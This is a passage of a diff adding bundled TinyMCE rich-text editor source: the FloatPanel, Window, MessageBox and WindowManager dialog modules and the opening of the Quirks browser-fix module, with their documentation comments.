+ * This class creates a floating panel.
+ *
+ * @-x-less FloatPanel.less
+ * @class tinymce.ui.FloatPanel
+ * @extends tinymce.ui.Panel
+ * @mixes tinymce.ui.Movable
+ * @mixes tinymce.ui.Resizable
+ */
+define("tinymce/ui/FloatPanel", [
+	"tinymce/ui/Panel",
+	"tinymce/ui/Movable",
+	"tinymce/ui/Resizable",
+	"tinymce/ui/DomUtils"
+], function(Panel, Movable, Resizable, DomUtils) {
+	"use strict";
+
+	var documentClickHandler, documentScrollHandler, windowResizeHandler, visiblePanels = [];
+	var zOrder = [], hasModal;
+
+	function bindDocumentClickHandler() {
+		function isChildOf(ctrl, parent) {
+			while (ctrl) {
+				if (ctrl == parent) {
+					return true;
+				}
+
+				ctrl = ctrl.parent();
+			}
+		}
+
+		if (!documentClickHandler) {
+			documentClickHandler = function(e) {
+				// Gecko fires click event and in the wrong order on Mac so lets normalize
+				if (e.button == 2) {
+					return;
+				}
+
+				// Hide any float panel when a click is out side that float panel and the
+				// float panels direct parent for example a click on a menu button
+				var i = visiblePanels.length;
+				while (i--) {
+					var panel = visiblePanels[i], clickCtrl = panel.getParentCtrl(e.target);
+
+					if (panel.settings.autohide) {
+						if (clickCtrl) {
+							if (isChildOf(clickCtrl, panel) || panel.parent() === clickCtrl) {
+								continue;
+							}
+						}
+
+						e = panel.fire('autohide', {target: e.target});
+						if (!e.isDefaultPrevented()) {
+							panel.hide();
+						}
+					}
+				}
+			};
+
+			DomUtils.on(document, 'click', documentClickHandler);
+		}
+	}
+
+	function bindDocumentScrollHandler() {
+		if (!documentScrollHandler) {
+			documentScrollHandler = function() {
+				var i;
+
+				i = visiblePanels.length;
+				while (i--) {
+					repositionPanel(visiblePanels[i]);
+				}
+			};
+
+			DomUtils.on(window, 'scroll', documentScrollHandler);
+		}
+	}
+
+	function bindWindowResizeHandler() {
+		if (!windowResizeHandler) {
+			var docElm = document.documentElement, clientWidth = docElm.clientWidth, clientHeight = docElm.clientHeight;
+
+			windowResizeHandler = function() {
+				// Workaround for #7065 IE 7 fires resize events event though the window wasn't resized
+				if (!document.all || clientWidth != docElm.clientWidth || clientHeight != docElm.clientHeight) {
+					clientWidth = docElm.clientWidth;
+					clientHeight = docElm.clientHeight;
+					FloatPanel.hideAll();
+				}
+			};
+
+			DomUtils.on(window, 'resize', windowResizeHandler);
+		}
+	}
+
+	/**
+	 * Repositions the panel to the top of page if the panel is outside of the visual viewport. It will
+	 * also reposition all child panels of the current panel.
+	 */
+	function repositionPanel(panel) {
+		var scrollY = DomUtils.getViewPort().y;
+
+		function toggleFixedChildPanels(fixed, deltaY) {
+			var parent;
+
+			for (var i = 0; i < visiblePanels.length; i++) {
+				if (visiblePanels[i] != panel) {
+					parent = visiblePanels[i].parent();
+
+					while (parent && (parent = parent.parent())) {
+						if (parent == panel) {
+							visiblePanels[i].fixed(fixed).moveBy(0, deltaY).repaint();
+						}
+					}
+				}
+			}
+		}
+
+		if (panel.settings.autofix) {
+			if (!panel._fixed) {
+				panel._autoFixY = panel.layoutRect().y;
+
+				if (panel._autoFixY < scrollY) {
+					panel.fixed(true).layoutRect({y: 0}).repaint();
+					toggleFixedChildPanels(true, scrollY - panel._autoFixY);
+				}
+			} else {
+				if (panel._autoFixY > scrollY) {
+					panel.fixed(false).layoutRect({y: panel._autoFixY}).repaint();
+					toggleFixedChildPanels(false, panel._autoFixY - scrollY);
+				}
+			}
+		}
+	}
+
+	function addRemove(add, ctrl) {
+		var i, zIndex = FloatPanel.zIndex || 0xFFFF, topModal;
+
+		if (add) {
+			zOrder.push(ctrl);
+		} else {
+			i = zOrder.length;
+
+			while (i--) {
+				if (zOrder[i] === ctrl) {
+					zOrder.splice(i, 1);
+				}
+			}
+		}
+
+		if (zOrder.length) {
+			for (i = 0; i < zOrder.length; i++) {
+				if (zOrder[i].modal) {
+					zIndex++;
+					topModal = zOrder[i];
+				}
+
+				zOrder[i].getEl().style.zIndex = zIndex;
+				zOrder[i].zIndex = zIndex;
+				zIndex++;
+			}
+		}
+
+		var modalBlockEl = document.getElementById(ctrl.classPrefix + 'modal-block');
+
+		if (topModal) {
+			DomUtils.css(modalBlockEl, 'z-index', topModal.zIndex - 1);
+		} else if (modalBlockEl) {
+			modalBlockEl.parentNode.removeChild(modalBlockEl);
+			hasModal = false;
+		}
+
+		FloatPanel.currentZIndex = zIndex;
+	}
+
+	var FloatPanel = Panel.extend({
+		Mixins: [Movable, Resizable],
+
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Boolean} autohide Automatically hide the panel.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			self._eventsRoot = self;
+
+			self.addClass('floatpanel');
+
+			// Hide floatpanes on click out side the root button
+			if (settings.autohide) {
+				bindDocumentClickHandler();
+				bindWindowResizeHandler();
+				visiblePanels.push(self);
+			}
+
+			if (settings.autofix) {
+				bindDocumentScrollHandler();
+
+				self.on('move', function() {
+					repositionPanel(this);
+				});
+			}
+
+			self.on('postrender show', function(e) {
+				if (e.control == self) {
+					var modalBlockEl, prefix = self.classPrefix;
+
+					if (self.modal && !hasModal) {
+						modalBlockEl = DomUtils.createFragment('<div id="' + prefix + 'modal-block" class="' +
+							prefix + 'reset ' + prefix + 'fade"></div>');
+						modalBlockEl = modalBlockEl.firstChild;
+
+						self.getContainerElm().appendChild(modalBlockEl);
+
+						setTimeout(function() {
+							DomUtils.addClass(modalBlockEl, prefix + 'in');
+							DomUtils.addClass(self.getEl(), prefix + 'in');
+						}, 0);
+
+						hasModal = true;
+					}
+
+					addRemove(true, self);
+				}
+			});
+
+			self.on('show', function() {
+				self.parents().each(function(ctrl) {
+					if (ctrl._fixed) {
+						self.fixed(true);
+						return false;
+					}
+				});
+			});
+
+			if (settings.popover) {
+				self._preBodyHtml = '<div class="' + self.classPrefix + 'arrow"></div>';
+				self.addClass('popover').addClass('bottom').addClass(self.isRtl() ? 'end' : 'start');
+			}
+		},
+
+		fixed: function(state) {
+			var self = this;
+
+			if (self._fixed != state) {
+				if (self._rendered) {
+					var viewport = DomUtils.getViewPort();
+
+					if (state) {
+						self.layoutRect().y -= viewport.y;
+					} else {
+						self.layoutRect().y += viewport.y;
+					}
+				}
+
+				self.toggleClass('fixed', state);
+				self._fixed = state;
+			}
+
+			return self;
+		},
+
+		/**
+		 * Shows the current float panel.
+		 *
+		 * @method show
+		 * @return {tinymce.ui.FloatPanel} Current floatpanel instance.
+		 */
+		show: function() {
+			var self = this, i, state = self._super();
+
+			i = visiblePanels.length;
+			while (i--) {
+				if (visiblePanels[i] === self) {
+					break;
+				}
+			}
+
+			if (i === -1) {
+				visiblePanels.push(self);
+			}
+
+			return state;
+		},
+
+		/**
+		 * Hides the current float panel.
+		 *
+		 * @method hide
+		 * @return {tinymce.ui.FloatPanel} Current floatpanel instance.
+		 */
+		hide: function() {
+			removeVisiblePanel(this);
+			addRemove(false, this);
+
+			return this._super();
+		},
+
+		/**
+		 * Hide all visible float panels with he autohide setting enabled. This is for
+		 * manually hiding floating menus or panels.
+		 *
+		 * @method hideAll
+		 */
+		hideAll: function() {
+			FloatPanel.hideAll();
+		},
+
+		/**
+		 * Closes the float panel. This will remove the float panel from page and fire the close event.
+		 *
+		 * @method close
+		 */
+		close: function() {
+			var self = this;
+
+			if (!self.fire('close').isDefaultPrevented()) {
+				self.remove();
+				addRemove(false, self);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Removes the float panel from page.
+		 *
+		 * @method remove
+		 */
+		remove: function() {
+			removeVisiblePanel(this);
+			this._super();
+		},
+
+		postRender: function() {
+			var self = this;
+
+			if (self.settings.bodyRole) {
+				this.getEl('body').setAttribute('role', self.settings.bodyRole);
+			}
+
+			return self._super();
+		}
+	});
+
+	/**
+	 * Hide all visible float panels with he autohide setting enabled. This is for
+	 * manually hiding floating menus or panels.
+	 *
+	 * @static
+	 * @method hideAll
+	 */
+	FloatPanel.hideAll = function() {
+		var i = visiblePanels.length;
+
+		while (i--) {
+			var panel = visiblePanels[i];
+
+			if (panel && panel.settings.autohide) {
+				panel.hide();
+				visiblePanels.splice(i, 1);
+			}
+		}
+	};
+
+	function removeVisiblePanel(panel) {
+		var i;
+
+		i = visiblePanels.length;
+		while (i--) {
+			if (visiblePanels[i] === panel) {
+				visiblePanels.splice(i, 1);
+			}
+		}
+
+		i = zOrder.length;
+		while (i--) {
+			if (zOrder[i] === panel) {
+				zOrder.splice(i, 1);
+			}
+		}
+	}
+
+	return FloatPanel;
+});
+
+// Included from: js/tinymce/classes/ui/Window.js
+
+/**
+ * Window.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new window.
+ *
+ * @-x-less Window.less
+ * @class tinymce.ui.Window
+ * @extends tinymce.ui.FloatPanel
+ */
+define("tinymce/ui/Window", [
+	"tinymce/ui/FloatPanel",
+	"tinymce/ui/Panel",
+	"tinymce/ui/DomUtils",
+	"tinymce/ui/DragHelper"
+], function(FloatPanel, Panel, DomUtils, DragHelper) {
+	"use strict";
+
+	var Window = FloatPanel.extend({
+		modal: true,
+
+		Defaults: {
+			border: 1,
+			layout: 'flex',
+			containerCls: 'panel',
+			role: 'dialog',
+			callbacks: {
+				submit: function() {
+					this.fire('submit', {data: this.toJSON()});
+				},
+
+				close: function() {
+					this.close();
+				}
+			}
+		},
+
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+
+			if (self.isRtl()) {
+				self.addClass('rtl');
+			}
+
+			self.addClass('window');
+			self._fixed = true;
+
+			// Create statusbar
+			if (settings.buttons) {
+				self.statusbar = new Panel({
+					layout: 'flex',
+					border: '1 0 0 0',
+					spacing: 3,
+					padding: 10,
+					align: 'center',
+					pack: self.isRtl() ? 'start' : 'end',
+					defaults: {
+						type: 'button'
+					},
+					items: settings.buttons
+				});
+
+				self.statusbar.addClass('foot');
+				self.statusbar.parent(self);
+			}
+
+			self.on('click', function(e) {
+				if (e.target.className.indexOf(self.classPrefix + 'close') != -1) {
+					self.close();
+				}
+			});
+
+			self.on('cancel', function() {
+				self.close();
+			});
+
+			self.aria('describedby', self.describedBy || self._id + '-none');
+			self.aria('label', settings.title);
+			self._fullscreen = false;
+		},
+
+		/**
+		 * Recalculates the positions of the controls in the current container.
+		 * This is invoked by the reflow method and shouldn't be called directly.
+		 *
+		 * @method recalc
+		 */
+		recalc: function() {
+			var self = this, statusbar = self.statusbar, layoutRect, width, x, needsRecalc;
+
+			if (self._fullscreen) {
+				self.layoutRect(DomUtils.getWindowSize());
+				self.layoutRect().contentH = self.layoutRect().innerH;
+			}
+
+			self._super();
+
+			layoutRect = self.layoutRect();
+
+			// Resize window based on title width
+			if (self.settings.title && !self._fullscreen) {
+				width = layoutRect.headerW;
+				if (width > layoutRect.w) {
+					x = layoutRect.x - Math.max(0, width / 2);
+					self.layoutRect({w: width, x: x});
+					needsRecalc = true;
+				}
+			}
+
+			// Resize window based on statusbar width
+			if (statusbar) {
+				statusbar.layoutRect({w: self.layoutRect().innerW}).recalc();
+
+				width = statusbar.layoutRect().minW + layoutRect.deltaW;
+				if (width > layoutRect.w) {
+					x = layoutRect.x - Math.max(0, width - layoutRect.w);
+					self.layoutRect({w: width, x: x});
+					needsRecalc = true;
+				}
+			}
+
+			// Recalc body and disable auto resize
+			if (needsRecalc) {
+				self.recalc();
+			}
+		},
+
+		/**
+		 * Initializes the current controls layout rect.
+		 * This will be executed by the layout managers to determine the
+		 * default minWidth/minHeight etc.
+		 *
+		 * @method initLayoutRect
+		 * @return {Object} Layout rect instance.
+		 */
+		initLayoutRect: function() {
+			var self = this, layoutRect = self._super(), deltaH = 0, headEl;
+
+			// Reserve vertical space for title
+			if (self.settings.title && !self._fullscreen) {
+				headEl = self.getEl('head');
+
+				var size = DomUtils.getSize(headEl);
+
+				layoutRect.headerW = size.width;
+				layoutRect.headerH = size.height;
+
+				deltaH += layoutRect.headerH;
+			}
+
+			// Reserve vertical space for statusbar
+			if (self.statusbar) {
+				deltaH += self.statusbar.layoutRect().h;
+			}
+
+			layoutRect.deltaH += deltaH;
+			layoutRect.minH += deltaH;
+			//layoutRect.innerH -= deltaH;
+			layoutRect.h += deltaH;
+
+			var rect = DomUtils.getWindowSize();
+
+			layoutRect.x = Math.max(0, rect.w / 2 - layoutRect.w / 2);
+			layoutRect.y = Math.max(0, rect.h / 2 - layoutRect.h / 2);
+
+			return layoutRect;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, id = self._id, prefix = self.classPrefix;
+			var settings = self.settings, headerHtml = '', footerHtml = '', html = settings.html;
+
+			self.preRender();
+			layout.preRender(self);
+
+			if (settings.title) {
+				headerHtml = (
+					'<div id="' + id + '-head" class="' + prefix + 'window-head">' +
+						'<div id="' + id + '-title" class="' + prefix + 'title">' + self.encode(settings.title) + '</div>' +
+						'<button type="button" class="' + prefix + 'close" aria-hidden="true">\u00d7</button>' +
+						'<div id="' + id + '-dragh" class="' + prefix + 'dragh"></div>' +
+					'</div>'
+				);
+			}
+
+			if (settings.url) {
+				html = '<iframe src="' + settings.url + '" tabindex="-1"></iframe>';
+			}
+
+			if (typeof(html) == "undefined") {
+				html = layout.renderHtml(self);
+			}
+
+			if (self.statusbar) {
+				footerHtml = self.statusbar.renderHtml();
+			}
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" hidefocus="1">' +
+					'<div class="' + self.classPrefix + 'reset" role="application">' +
+						headerHtml +
+						'<div id="' + id + '-body" class="' + self.classes('body') + '">' +
+							html +
+						'</div>' +
+						footerHtml +
+					'</div>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Switches the window fullscreen mode.
+		 *
+		 * @method fullscreen
+		 * @param {Boolean} state True/false state.
+		 * @return {tinymce.ui.Window} Current window instance.
+		 */
+		fullscreen: function(state) {
+			var self = this, documentElement = document.documentElement, slowRendering, prefix = self.classPrefix, layoutRect;
+
+			if (state != self._fullscreen) {
+				DomUtils.on(window, 'resize', function() {
+					var time;
+
+					if (self._fullscreen) {
+						// Time the layout time if it's to slow use a timeout to not hog the CPU
+						if (!slowRendering) {
+							time = new Date().getTime();
+
+							var rect = DomUtils.getWindowSize();
+							self.moveTo(0, 0).resizeTo(rect.w, rect.h);
+
+							if ((new Date().getTime()) - time > 50) {
+								slowRendering = true;
+							}
+						} else {
+							if (!self._timer) {
+								self._timer = setTimeout(function() {
+									var rect = DomUtils.getWindowSize();
+									self.moveTo(0, 0).resizeTo(rect.w, rect.h);
+
+									self._timer = 0;
+								}, 50);
+							}
+						}
+					}
+				});
+
+				layoutRect = self.layoutRect();
+				self._fullscreen = state;
+
+				if (!state) {
+					self._borderBox = self.parseBox(self.settings.border);
+					self.getEl('head').style.display = '';
+					layoutRect.deltaH += layoutRect.headerH;
+					DomUtils.removeClass(documentElement, prefix + 'fullscreen');
+					DomUtils.removeClass(document.body, prefix + 'fullscreen');
+					self.removeClass('fullscreen');
+					self.moveTo(self._initial.x, self._initial.y).resizeTo(self._initial.w, self._initial.h);
+				} else {
+					self._initial = {x: layoutRect.x, y: layoutRect.y, w: layoutRect.w, h: layoutRect.h};
+
+					self._borderBox = self.parseBox('0');
+					self.getEl('head').style.display = 'none';
+					layoutRect.deltaH -= layoutRect.headerH + 2;
+					DomUtils.addClass(documentElement, prefix + 'fullscreen');
+					DomUtils.addClass(document.body, prefix + 'fullscreen');
+					self.addClass('fullscreen');
+
+					var rect = DomUtils.getWindowSize();
+					self.moveTo(0, 0).resizeTo(rect.w, rect.h);
+				}
+			}
+
+			return self.reflow();
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this, startPos;
+
+			setTimeout(function() {
+				self.addClass('in');
+			}, 0);
+
+			self._super();
+
+			if (self.statusbar) {
+				self.statusbar.postRender();
+			}
+
+			self.focus();
+
+			this.dragHelper = new DragHelper(self._id + '-dragh', {
+				start: function() {
+					startPos = {
+						x: self.layoutRect().x,
+						y: self.layoutRect().y
+					};
+				},
+
+				drag: function(e) {
+					self.moveTo(startPos.x + e.deltaX, startPos.y + e.deltaY);
+				}
+			});
+
+			self.on('submit', function(e) {
+				if (!e.isDefaultPrevented()) {
+					self.close();
+				}
+			});
+		},
+
+		/**
+		 * Fires a submit event with the serialized form.
+		 *
+		 * @method submit
+		 * @return {Object} Event arguments object.
+		 */
+		submit: function() {
+			return this.fire('submit', {data: this.toJSON()});
+		},
+
+		/**
+		 * Removes the current control from DOM and from UI collections.
+		 *
+		 * @method remove
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		remove: function() {
+			var self = this, prefix = self.classPrefix;
+
+			self.dragHelper.destroy();
+			self._super();
+
+			if (self.statusbar) {
+				this.statusbar.remove();
+			}
+
+			if (self._fullscreen) {
+				DomUtils.removeClass(document.documentElement, prefix + 'fullscreen');
+				DomUtils.removeClass(document.body, prefix + 'fullscreen');
+			}
+		},
+
+		/**
+		 * Returns the contentWindow object of the iframe if it exists.
+		 *
+		 * @method getContentWindow
+		 * @return {Window} window object or null.
+		 */
+		getContentWindow: function() {
+			var ifr = this.getEl().getElementsByTagName('iframe')[0];
+			return ifr ? ifr.contentWindow : null;
+		}
+	});
+
+	return Window;
+});
+
+// Included from: js/tinymce/classes/ui/MessageBox.js
+
+/**
+ * MessageBox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to create MessageBoxes like alerts/confirms etc.
+ *
+ * @class tinymce.ui.MessageBox
+ * @extends tinymce.ui.Window
+ */
+define("tinymce/ui/MessageBox", [
+	"tinymce/ui/Window"
+], function(Window) {
+	"use strict";
+
+	var MessageBox = Window.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			settings = {
+				border: 1,
+				padding: 20,
+				layout: 'flex',
+				pack: "center",
+				align: "center",
+				containerCls: 'panel',
+				autoScroll: true,
+				buttons: {type: "button", text: "Ok", action: "ok"},
+				items: {
+					type: "label",
+					multiline: true,
+					maxWidth: 500,
+					maxHeight: 200
+				}
+			};
+
+			this._super(settings);
+		},
+
+		Statics: {
+			/**
+			 * Ok buttons constant.
+			 *
+			 * @static
+			 * @final
+			 * @field {Number} OK
+			 */
+			OK: 1,
+
+			/**
+			 * Ok/cancel buttons constant.
+			 *
+			 * @static
+			 * @final
+			 * @field {Number} OK_CANCEL
+			 */
+			OK_CANCEL: 2,
+
+			/**
+			 * yes/no buttons constant.
+			 *
+			 * @static
+			 * @final
+			 * @field {Number} YES_NO
+			 */
+			YES_NO: 3,
+
+			/**
+			 * yes/no/cancel buttons constant.
+			 *
+			 * @static
+			 * @final
+			 * @field {Number} YES_NO_CANCEL
+			 */
+			YES_NO_CANCEL: 4,
+
+			/**
+			 * Constructs a new message box and renders it to the body element.
+			 *
+			 * @static
+			 * @method msgBox
+			 * @param {Object} settings Name/value object with settings.
+			 */
+			msgBox: function(settings) {
+				var buttons, callback = settings.callback || function() {};
+
+				function createButton(text, status, primary) {
+					return {
+						type: "button",
+						text: text,
+						subtype: primary ? 'primary' : '',
+						onClick: function(e) {
+							e.control.parents()[1].close();
+							callback(status);
+						}
+					};
+				}
+
+				switch (settings.buttons) {
+					case MessageBox.OK_CANCEL:
+						buttons = [
+							createButton('Ok', true, true),
+							createButton('Cancel', false)
+						];
+						break;
+
+					case MessageBox.YES_NO:
+					case MessageBox.YES_NO_CANCEL:
+						buttons = [
+							createButton('Yes', 1, true),
+							createButton('No', 0)
+						];
+
+						if (settings.buttons == MessageBox.YES_NO_CANCEL) {
+							buttons.push(createButton('Cancel', -1));
+						}
+						break;
+
+					default:
+						buttons = [
+							createButton('Ok', true, true)
+						];
+						break;
+				}
+
+				return new Window({
+					padding: 20,
+					x: settings.x,
+					y: settings.y,
+					minWidth: 300,
+					minHeight: 100,
+					layout: "flex",
+					pack: "center",
+					align: "center",
+					buttons: buttons,
+					title: settings.title,
+					role: 'alertdialog',
+					items: {
+						type: "label",
+						multiline: true,
+						maxWidth: 500,
+						maxHeight: 200,
+						text: settings.text
+					},
+					onPostRender: function() {
+						this.aria('describedby', this.items()[0]._id);
+					},
+					onClose: settings.onClose,
+					onCancel: function() {
+						callback(false);
+					}
+				}).renderTo(document.body).reflow();
+			},
+
+			/**
+			 * Creates a new alert dialog.
+			 *
+			 * @method alert
+			 * @param {Object} settings Settings for the alert dialog.
+			 * @param {function} [callback] Callback to execute when the user makes a choice.
+			 */
+			alert: function(settings, callback) {
+				if (typeof(settings) == "string") {
+					settings = {text: settings};
+				}
+
+				settings.callback = callback;
+				return MessageBox.msgBox(settings);
+			},
+
+			/**
+			 * Creates a new confirm dialog.
+			 *
+			 * @method confirm
+			 * @param {Object} settings Settings for the confirm dialog.
+			 * @param {function} [callback] Callback to execute when the user makes a choice.
+			 */
+			confirm: function(settings, callback) {
+				if (typeof(settings) == "string") {
+					settings = {text: settings};
+				}
+
+				settings.callback = callback;
+				settings.buttons = MessageBox.OK_CANCEL;
+
+				return MessageBox.msgBox(settings);
+			}
+		}
+	});
+
+	return MessageBox;
+});
+
+// Included from: js/tinymce/classes/WindowManager.js
+
+/**
+ * WindowManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles the creation of native windows and dialogs. This class can be extended to provide for example inline dialogs.
+ *
+ * @class tinymce.WindowManager
+ * @example
+ * // Opens a new dialog with the file.htm file and the size 320x240
+ * // It also adds a custom parameter this can be retrieved by using tinyMCEPopup.getWindowArg inside the dialog.
+ * tinymce.activeEditor.windowManager.open({
+ *    url: 'file.htm',
+ *    width: 320,
+ *    height: 240
+ * }, {
+ *    custom_param: 1
+ * });
+ *
+ * // Displays an alert box using the active editors window manager instance
+ * tinymce.activeEditor.windowManager.alert('Hello world!');
+ *
+ * // Displays an confirm box and an alert message will be displayed depending on what you choose in the confirm
+ * tinymce.activeEditor.windowManager.confirm("Do you want to do something", function(s) {
+ *    if (s)
+ *       tinymce.activeEditor.windowManager.alert("Ok");
+ *    else
+ *       tinymce.activeEditor.windowManager.alert("Cancel");
+ * });
+ */
+define("tinymce/WindowManager", [
+	"tinymce/ui/Window",
+	"tinymce/ui/MessageBox"
+], function(Window, MessageBox) {
+	return function(editor) {
+		var self = this, windows = [];
+
+		function getTopMostWindow() {
+			if (windows.length) {
+				return windows[windows.length - 1];
+			}
+		}
+
+		self.windows = windows;
+
+		editor.on('remove', function() {
+			var i = windows.length;
+
+			while (i--) {
+				windows[i].close();
+			}
+		});
+
+		/**
+		 * Opens a new window.
+		 *
+		 * @method open
+		 * @param {Object} args Optional name/value settings collection contains things like width/height/url etc.
+		 * @option {String} title Window title.
+		 * @option {String} file URL of the file to open in the window.
+		 * @option {Number} width Width in pixels.
+		 * @option {Number} height Height in pixels.
+		 * @option {Boolean} resizable Specifies whether the popup window is resizable or not.
+		 * @option {Boolean} maximizable Specifies whether the popup window has a "maximize" button and can get maximized or not.
+		 * @option {String/Boolean} scrollbars Specifies whether the popup window can have scrollbars if required (i.e. content
+		 * larger than the popup size specified).
+		 */
+		self.open = function(args, params) {
+			var win;
+
+			editor.editorManager.setActive(editor);
+
+			args.title = args.title || ' ';
+
+			// Handle URL
+			args.url = args.url || args.file; // Legacy
+			if (args.url) {
+				args.width = parseInt(args.width || 320, 10);
+				args.height = parseInt(args.height || 240, 10);
+			}
+
+			// Handle body
+			if (args.body) {
+				args.items = {
+					defaults: args.defaults,
+					type: args.bodyType || 'form',
+					items: args.body
+				};
+			}
+
+			if (!args.url && !args.buttons) {
+				args.buttons = [
+					{text: 'Ok', subtype: 'primary', onclick: function() {
+						win.find('form')[0].submit();
+					}},
+
+					{text: 'Cancel', onclick: function() {
+						win.close();
+					}}
+				];
+			}
+
+			win = new Window(args);
+			windows.push(win);
+
+			win.on('close', function() {
+				var i = windows.length;
+
+				while (i--) {
+					if (windows[i] === win) {
+						windows.splice(i, 1);
+					}
+				}
+
+				if (!windows.length) {
+					editor.focus();
+				}
+			});
+
+			// Handle data
+			if (args.data) {
+				win.on('postRender', function() {
+					this.find('*').each(function(ctrl) {
+						var name = ctrl.name();
+
+						if (name in args.data) {
+							ctrl.value(args.data[name]);
+						}
+					});
+				});
+			}
+
+			// store args and parameters
+			win.features = args || {};
+			win.params = params || {};
+
+			// Takes a snapshot in the FocusManager of the selection before focus is lost to dialog
+			if (windows.length === 1) {
+				editor.nodeChanged();
+			}
+
+			return win.renderTo().reflow();
+		};
+
+		/**
+		 * Creates a alert dialog. Please don't use the blocking behavior of this
+		 * native version use the callback method instead then it can be extended.
+		 *
+		 * @method alert
+		 * @param {String} message Text to display in the new alert dialog.
+		 * @param {function} callback Callback function to be executed after the user has selected ok.
+		 * @param {Object} scope Optional scope to execute the callback in.
+		 * @example
+		 * // Displays an alert box using the active editors window manager instance
+		 * tinymce.activeEditor.windowManager.alert('Hello world!');
+		 */
+		self.alert = function(message, callback, scope) {
+			MessageBox.alert(message, function() {
+				if (callback) {
+					callback.call(scope || this);
+				} else {
+					editor.focus();
+				}
+			});
+		};
+
+		/**
+		 * Creates a confirm dialog. Please don't use the blocking behavior of this
+		 * native version use the callback method instead then it can be extended.
+		 *
+		 * @method confirm
+		 * @param {String} messageText to display in the new confirm dialog.
+		 * @param {function} callback Callback function to be executed after the user has selected ok or cancel.
+		 * @param {Object} scope Optional scope to execute the callback in.
+		 * @example
+		 * // Displays an confirm box and an alert message will be displayed depending on what you choose in the confirm
+		 * tinymce.activeEditor.windowManager.confirm("Do you want to do something", function(s) {
+		 *    if (s)
+		 *       tinymce.activeEditor.windowManager.alert("Ok");
+		 *    else
+		 *       tinymce.activeEditor.windowManager.alert("Cancel");
+		 * });
+		 */
+		self.confirm = function(message, callback, scope) {
+			MessageBox.confirm(message, function(state) {
+				callback.call(scope || this, state);
+			});
+		};
+
+		/**
+		 * Closes the top most window.
+		 *
+		 * @method close
+		 */
+		self.close = function() {
+			if (getTopMostWindow()) {
+				getTopMostWindow().close();
+			}
+		};
+
+		/**
+		 * Returns the params of the last window open call. This can be used in iframe based
+		 * dialog to get params passed from the tinymce plugin.
+		 *
+		 * @example
+		 * var dialogArguments = top.tinymce.activeEditor.windowManager.getParams();
+		 *
+		 * @method getParams
+		 * @return {Object} Name/value object with parameters passed from windowManager.open call.
+		 */
+		self.getParams = function() {
+			return getTopMostWindow() ? getTopMostWindow().params : null;
+		};
+
+		/**
+		 * Sets the params of the last opened window.
+		 *
+		 * @method setParams
+		 * @param {Object} params Params object to set for the last opened window.
+		 */
+		self.setParams = function(params) {
+			if (getTopMostWindow()) {
+				getTopMostWindow().params = params;
+			}
+		};
+
+		/**
+		 * Returns the currently opened window objects.
+		 *
+		 * @method getWindows
+		 * @return {Array} Array of the currently opened windows.
+		 */
+		self.getWindows = function() {
+			return windows;
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/util/Quirks.js
+
+/**
+ * Quirks.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ *
+ * @ignore-file
+ */
+
+/**
+ * This file includes fixes for various browser quirks it's made to make it easy to add/remove browser specific fixes.
+ *
+ * @class tinymce.util.Quirks
+ */
+define("tinymce/util/Quirks", [
+	"tinymce/util/VK",
+	"tinymce/dom/RangeUtils",
+	"tinymce/html/Node",
+	"tinymce/html/Entities",
+	"tinymce/Env",
+	"tinymce/util/Tools"
+], function(VK, RangeUtils, Node, Entities, Env, Tools) {
+	return function(editor) {
+		var each = Tools.each;
+		var BACKSPACE = VK.BACKSPACE, DELETE = VK.DELETE, dom = editor.dom, selection = editor.selection,
+			settings = editor.settings, parser = editor.parser, serializer = editor.serializer;
+		var isGecko = Env.gecko, isIE = Env.ie, isWebKit = Env.webkit;
+
+		/**
+		 * Executes a command with a specific state this can be to enable/disable browser editing features.
+		 */
+		function setEditorCommandState(cmd, state) {
+			try {
+				editor.getDoc().execCommand(cmd, false, state);
+			} catch (ex) {
+				// Ignore
+			}
+		}
+
+		/**
+		 * Returns current IE document mode.
+		 */
+		function getDocumentMode() {
+			var documentMode = editor.getDoc().documentMode;
+
+			return documentMode ? documentMode : 6;
+		}
+
+		/**
+		 * Returns true/false if the event is prevented or not.
+		 *
+		 * @private
+		 * @param {Event} e Event object.
+		 * @return {Boolean} true/false if the event is prevented or not.
+		 */
+		function isDefaultPrevented(e) {
+			return e.isDefaultPrevented();
+		}
+
+		/**
+		 * Fixes a WebKit bug when deleting contents using backspace or delete key.
+		 * WebKit will produce a span element if you delete across two block elements.
+		 *
+		 * Example:
+		 * <h1>a</h1><p>|b</p>
+		 *
+		 * Will produce this on backspace:
+		 * <h1>a<span style="<all runtime styles>">b</span></p>
+		 *
+		 * This fixes the backspace to produce:
+		 * <h1>a|b</p>
+		 *
+		 * See bug: https://bugs.webkit.org/show_bug.cgi?id=45784
+		 *
+		 * This fixes the following delete scenarios:
+		 *  1. Delete by pressing backspace key.
+		 *  2. Delete by pressing delete key.
